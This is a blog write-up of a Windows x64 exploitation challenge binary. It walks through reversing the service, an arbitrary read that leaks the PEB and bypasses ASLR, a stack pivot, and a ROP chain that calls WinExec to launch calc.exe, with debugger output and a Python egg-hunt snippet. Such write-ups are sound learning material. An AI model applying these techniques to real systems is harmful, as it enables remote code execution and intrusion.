TL;DR: In this blog, I’ll explain my approach to solve the BFS exploitation challenge [1]. The challenge was published by BFS to win a ticket for the BFS-IOACTIVE party during the Ekoparty conference. The exploit was developed on Windows 10 x64 1909.

0x01: Introduction

A while ago I’ve seen this challenge published by BFS. The aim of this challenge was to bypass Address Space Layout Randomization (ASLR) remotely, get code execution, and execute a calc.exe or notepad.exe on the running system. Execution of one of these programs proves that the system was fully under our control. Furthermore, it was necessary to restore the execution flow after successful exploitation in order to ensure that all functions work properly.

PopCalcOrGTFO

0x02: Reversing the service

In general, I use IDA for most of the reversing tasks but in this case, I wanted to try out the cloud version of Binary Ninja [2]. Usually, I follow a static and dynamic approach which means I run the application in WinDBG and also in IDA. This combined the strengths of both techniques. However, first I’ve taken a look around the small binary to get a basic understanding of the binary. My major focus was on the given output strings after the eko2019.exe was executed. The idea behind this approach was to find the first foothold. Also, a good point to start was the main function eko2019+0x1410:

MainFunction
Figure 1 - Main function at eko2019+0x1410

After I looked a bit deeper, the following actions were identified and will be performed by the eko2019+0x1410 function (main):

  • The WinExec [3] call is called with argv[0] as an argument as long as the number of arguments passed to the binary is 0, which will never be true. So this condition will never be executed; and
  • A socket is bound to port 0xd431 (54321) and a connection handler at eko2019+0x10b0 is called for each newly connected client.
  • A loop will create a table of 256 QWORD initialized with the value 0x488B01C3C3C3C3. The opcode 0xC3 is an encoded RET instruction, and 0x488B01 encodes a MOV RAX, [RCX] instruction.
+11:01% rasm2 -d 0x488B01C3C3C3C3 -b 64
mov rax, qword [rcx]
ret
ret
ret
ret

From the connection handler perspective, a 0x10 bytes header is read from the socket. The first entry of the header is checked to match 0x393130326f6b45 (“Eko2019\0”), the second is checked to be lower than 0x200 (512 bytes). Furthermore, the send message length needs to be aligned by 8 bytes.

and     edx, 0x7
add     eax, edx
and     eax, 0x7
sub     eax, edx
test    eax, eax
je      0x140001330

[...]

lea     rcx, [data_14000c0d0]  {" [-] Error: Invalid size alignm…"}
call    sub_140001650

If the message is aligned by 8 bytes the received buffer content is displayed on stdout. The return value of the printf method is stored in the .data section. After doing both, static and dynamic analysis, we know that, before the function eko2019+0x1170 will execute, RCX contains the previously created table of 256 QWORD initialized with the value 0x488B01C3C3C3C3.

0:000> dd rcx
00007ff6`0f18e520  c3c3c3c3 00488b01 c3c3c3c3 01488b01
00007ff6`0f18e530  c3c3c3c3 02488b01 c3c3c3c3 03488b01
00007ff6`0f18e540  c3c3c3c3 04488b01 c3c3c3c3 05488b01
00007ff6`0f18e550  c3c3c3c3 06488b01 c3c3c3c3 07488b01
00007ff6`0f18e560  c3c3c3c3 08488b01 c3c3c3c3 09488b01
00007ff6`0f18e570  c3c3c3c3 0a488b01 c3c3c3c3 0b488b01
00007ff6`0f18e580  c3c3c3c3 0c488b01 c3c3c3c3 0d488b01
00007ff6`0f18e590  c3c3c3c3 0e488b01 c3c3c3c3 0f488b01

Before the function will executed, the instruction mov rcx,qword ptr [rcx+rax*8] changed the RCX register to 0x3e488b01c3c3c3c3. The function at eko2019+0x1170 will invert these values to little endian. As a result, 0x3e488b01c3c3c3c3 become to 0xc3c3c3c3018b483e.

This value will be used in WriteProcessMemory() as lpBuffer and copied the returned value of eko2019+0x1170 to the function eko2019+0x1000. The previously mentioned value will be interpreted as an assembler instruction in eko2019+0x1000:

+3:12% rasm2 -d 0x3e488b01c3c3c3c3 -b 64
mov rax, qword ds:[rcx]
ret
ret
ret
ret

The listing below shows the function before eko2019+0x1170 was executed and WriteProcessMemory() has overwritten the first 8-bytes:

0:003> u eko2019+0x1000
00007ff6`0f181000 48894c2408      mov     qword ptr [rsp+8],rcx
00007ff6`0f181005 90              nop
00007ff6`0f181006 90              nop
00007ff6`0f181007 90              nop
00007ff6`0f181008 90              nop
00007ff6`0f181009 90              nop
00007ff6`0f18100a 90              nop
00007ff6`0f18100b 90              nop

The returned value of eko2019+0x1170 will be stored in RAX afterward. When the function at eko2019+0x1000 is called after the WriteProcessMemory() method, the returned value will land and execute in eko2019+0x1000, as seen below:

0:003> u eko2019+0x1000
00007ff6`0f181000 3e488b01        mov     rax,qword ptr ds:[rcx]
00007ff6`0f181004 c3              ret
00007ff6`0f181005 c3              ret
00007ff6`0f181006 c3              ret
00007ff6`0f181007 c3              ret
00007ff6`0f181008 90              nop
00007ff6`0f181009 90              nop
00007ff6`0f18100a 90              nop

After the execution of the 8-bytes, the value containing in RAX is sent back in the socket. Luckily, we are able to control the RCX and RAX registers by sending more than 0x201 bytes rather than 0x200. We are able to control only one byte of the RAX register, in the example above 0x3e, which provides a limitation of instructions. Later, we will see that this one byte is enough to achieve code execution.

0x03: Exploitation

As we know from the reversing session, we are able to control the RAX and RCX register. This means we can change both, the code execution via the RAX register and its argument with the RCX register. If we only change the RCX register it provides us an arbitrary read. This is a very strong primitive.

Bypass ASLR

ASLR can be easily bypassed by using the arbitrary read primitive. The problem is to find a suitable memory address that we can read. In Windows 64-bit we are able to get the address of Process Environment Block (PEB) with the special GS register. By providing the accurate offset, GS can point to the PEB with the offset 0x60.

0:000> dt nt!_TEB
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : Ptr64 Void
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : Ptr64 Void
   +0x058 ThreadLocalStoragePointer : Ptr64 Void
   +0x060 ProcessEnvironmentBlock : Ptr64 _PEB
   [...]

We can set the RAX register to 0x65 and the RCX register to 0x601 in order to get the following instruction:

+9:18% rasm2 -d 0x65488b01c3c3c3c3 -b 64
mov rax, qword gs:[rcx]
ret
ret
ret
ret

The value of RAX is sent back in the socket and leaked the address of PEB. In the next step, this address can be used to leak the Image Base Address of eko2019.exe. This can be achieved by adding 0x10 bytes to the leaked PEB address:

0:000> dt nt!_PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void
   [...]

Putting all together allows us to defeat ASLR:

+11:30% ./exploit-bypass_ASLR.py 
[+] Leaked PEB address: 0x260000
[+] Leaked 'eko2019.exe' image base address: 0x7ff60f180000

To verify that the base address of eko2019 is correct we can look into WinDBG:

0:001> lm m eko2019
start             end                 module name
00007ff6`0f180000 00007ff6`0f192000   eko2019  C (no symbols) 

With this approach, we can also read the StackBased address at offset 0x082, which gives us a pointer to the stack. With the stack base address, we are able to read the whole binary memory space as well as the current thread stack.

Code Execution

Now, that we are able to leak the image base address of eko2019 and bypass ASLR we would like to gain code execution. In place of changing the RAX register to a prefix to read arbitrary data, we can change it to a 1-byte3 instruction to change the execution flow:

+11:47% rasm2 -d 0x51488b01c3c3c3c3 -b 64
push rcx
mov rax, qword [rcx]
ret
ret
ret
ret

The push rcx instruction allows us to place the controllable value of RCX onto the stack. After that, we just need to find a gadget that changes the RSP pointer to our stack buffer. The stack buffer contains data that we control. In general, more gadgets to build an ROP chain.

Stack pivot & ROP chain

The controllable stack is around 0x60 bytes above, which means we need a gadget that adjusts the RSP register that it points in our buffer after the function at eko2019+0x1000 was executed. Such gadgets can be easily found with rp++ [5].

0x140001aea: add rsp, 0x0000000000000088 ; ret  ;  (1 found)
0x14000109a: add rsp, 0x00000000000001E8 ; ret  ;  (1 found)
0x1400013f9: add rsp, 0x0000000000000298 ; ret  ;  (1 found)
0x1400044cc: add rsp, 0x00000000000004D8 ; ret  ;  (1 found)

This gadget, so-called “stack-pivot”, is our first gadget and is placed in RCX. Through the push rcx instruction, the stack-pivot gadget will push onto the stack. As a result, this gadget will be executed after eko2019+0x1000 was executed, as we can see below in the WinDBG snipped.

0:000> u rip L6
eko2019+0x1000:
00007ff7`90051000 51              push    rcx
00007ff7`90051001 488b01          mov     rax,qword ptr [rcx]
00007ff7`90051004 c3              ret
00007ff7`90051005 c3              ret
00007ff7`90051006 c3              ret
00007ff7`90051007 c3              ret
0:000> r rcx
rcx=00007ff790051aea
0:000> u rcx L2
eko2019+0x1aea:
00007ff7`90051aea 4881c488000000  add     rsp,88h
00007ff7`90051af1 c3              ret
0:000> t
eko2019+0x1001:
00007ff7`90051001 488b01          mov     rax,qword ptr [rcx] ds:00007ff7`90051aea=c300000088c48148
0:000> dqs rsp L2
00000000`008ffbb0  00007ff7`90051aea eko2019+0x1aea
00000000`008ffbb8  00007ff7`900513c4 eko2019+0x13c4
0:000> t
eko2019+0x1004:
00007ff7`90051004 c3              ret
0:000> dqs rsp L1
00000000`008ffbb0  00007ff7`90051aea eko2019+0x1aea

So far so good, we are able to point RSP to our controllable stack, by adding 0x88 bytes to the current RSP value. But, how we can get code execution? What kind of ROP magic can we perform to achieve our goal?

From the reversing session, we know that WinExec will never execute because of the number of arguments passed to the binary. We can change this situation, all we need to do is to set RCX (argc) and RDX (argv) and returning to the main function.

WinExec
Figure 2 - WinExec()

This can obtain through the fact that we can prepare the stack before we hijack the main function flow at eko2019+0x1419. Furthermore, we have to prepare argv[0] (lpCmdLine) with our command that should execute through the WinExec function. The executed command can be stored in the controllable stack. In the course of this, argv[0] has to point to a string we control.

0x140001436      mov edx, 1                 ; uCmdShow
0x14000143b      mov rax, qword [lpCmdLine] ; 'rsp+0x88' -> poi('calc.exe')
0x140001443      mov rcx, qword [rax]       ; lpCmdLine
0x140001446      call qword [WinExec]       ; WinExec(lpCmdLine, uCmdShow)

With the aid of the read primitive, we can obtain the StackBased address and walk through the stack and looking for a magic value (EGG). An example implementation in Python could look like:

# Find the 'CMD' string in the stack
def find_cmd_ptr(stack_base_addr):
    MAGIC_VALUE = u64("HellYeah")
    leaked_addr = 0
    offset = 0

    while leaked_addr != MAGIC_VALUE:
        leaked_addr = leak_address(stack_base_addr - offset)
        offset += 0x8

    offset -= 0x8
    cmd_ptr_addr = (stack_base_addr - offset)
    
    return cmd_ptr_addr

With the obtained address were able to get the addresses for both instructions at 0x14000143b and 0x140001443. Before WinExec will execute our stack could look like:

0:000> dqs rsp-0x10 L14
00000000`00cffc68  6578652e`636c6163 <---+            ; 'calc.exe'
                                         |
[...]                         +----------+
                              | 
00000000`00cffab0  00000000`00cffc68 <--------------+ ; poi(rsp+0x88)
00000000`00cffab8  00007ff6`0f18100d eko2019+0x100d | ; ret
[...]                                               |
00000000`00cffb40  00000000`00000000                | ; cmp dword [argc], 0
00000000`00cffb48  00000000`00cffab0 ---------------+ ; rsp+0x88

0:000> dqs rsp+0x88 L1
00000000`00cffb48  00000000`00cffab0
0:000> dqs poi(rsp+0x88) L1
00000000`00cffab0  00000000`00cffc68
0:000> dqs poi(poi(rsp+0x88)) L1
00000000`00cffc68  6578652e`636c6163
0:000> da poi(poi(rsp+0x88))
00000000`00cffc68  "calc.exe"

If all arguments are set correctly, WinExec will execute our command.

0:000> t
eko2019+0x1446:
00007ff7`90051446 ff15c47b0000   call  qword ptr [eko2019+0x9010 [...]={KERNEL32!WinExec}
0:000> r rax,rcx
rax=00000000008ffc20 rcx=00000000008ffdf8

One of the rules for this challenge was to restore the execution flow after successful exploitation in order to ensure that all functions work properly. My approach to restoring the execution flow was to fill the ROP chain with ret gadgets until we reach eko2019+0x155a.

ConnectionHandler
Figure 3 - Closing Connection at eko2019+0x155a

0x04: Proof-of-Concept (PoC)

As we all know; “PoC or it didn’t happen!”

final_exploit
Figure 4 - POP 'CALC.EXE' || GTFO

0x05: Final thought

After my OSEE in September last year, this was a great exercise and I really enjoyed this challenge. From my point of view, the hardest part was to build an ROP chain and restore the execution flow after executing arbitrary code.

Luckily, the developer of this nice challenge imported the WinExec Windows API. With the appropriate address, it was pretty simple to redirect the control flow directly to the Windows API call at eko2019+0x1446.

0x06: Resources


  1. GS:[0x60] ↩︎

  2. GS:[0x08] ↩︎

  3. 0x51 => push rcx ↩︎